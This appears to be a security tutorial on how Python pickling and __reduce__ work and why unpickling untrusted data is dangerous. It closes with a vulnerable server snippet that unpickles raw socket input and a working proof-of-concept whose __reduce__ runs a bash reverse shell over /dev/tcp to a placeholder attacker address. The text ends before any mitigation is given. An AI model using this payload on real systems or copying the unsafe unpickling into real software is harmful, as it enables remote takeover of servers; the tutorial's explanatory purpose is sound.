Understanding Python pickling and how to use it securely

How does Python pickling work?

When a byte stream is unpickled, the pickle module creates an instance of the original object first and then populates the instance with the correct data. To achieve this, the byte stream contains only the data specific to the original object instance. But having just the data alone may not be sufficient. To successfully unpickle the object, the pickled byte stream contains instructions to the unpickler to reconstruct the original object structure along with instruction operands, which help in populating the object structure.

According to the pickle module documentation, the following types can be pickled:

• None, true, and false
• Integers, long integers, floating point numbers, complex numbers
• Normal and Unicode strings
• Tuples, lists, sets, and dictionaries containing only picklable objects
• Functions defined at the top level of a module
• Built-in functions defined at the top level of a module
• Classes that are defined at the top level of a module

Pickle allows different objects to declare how they should be pickled using the __reduce__ method. Whenever an object is pickled, the __reduce__ method defined by it gets called. This method returns either a string, which may represent the name of a Python global, or a tuple describing how to reconstruct this object when unpickling.

Generally the tuple consists of two arguments:

• A callable (which in most cases would be the name of the class to call)
• Arguments to be passed to the above callable

The pickle library will pickle each component of the tuple separately, and will call the callable on the provided arguments to construct the new object during the process of unpickling.

Dangers of Python pickling

Since there are no effective ways to verify the pickle stream being unpickled, it is possible to provide malicious shell code as input, causing remote code execution. The most common attack scenario leading to this would be to trust raw pickle data received over the network. If the connection is unencrypted, the pickle received could have also been modified on the wire. Another attack scenario is when an attacker can access and modify the stored pickle files from caches, file systems, or databases.

The following example code demonstrates a simple client server program. The server connects to a particular port and waits for client to send data. Once it receives the data, it unpickles it.

conn,addr = self.receiver_socket.accept()
data = conn.recv(1024)
return cPickle.loads(data)

If the client is not trusted, an attacker can get remote code to execute on the server and gain access to it.

class Shell_code(object):
def __reduce__(self):
return (os.system,('/bin/bash -i >& /dev/tcp/"Client IP"/"Listening PORT" 0>&1',))
shell = cPickle.dumps(Shell_code())
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('Server IP','Server PORT'))
client_socket.send(shell)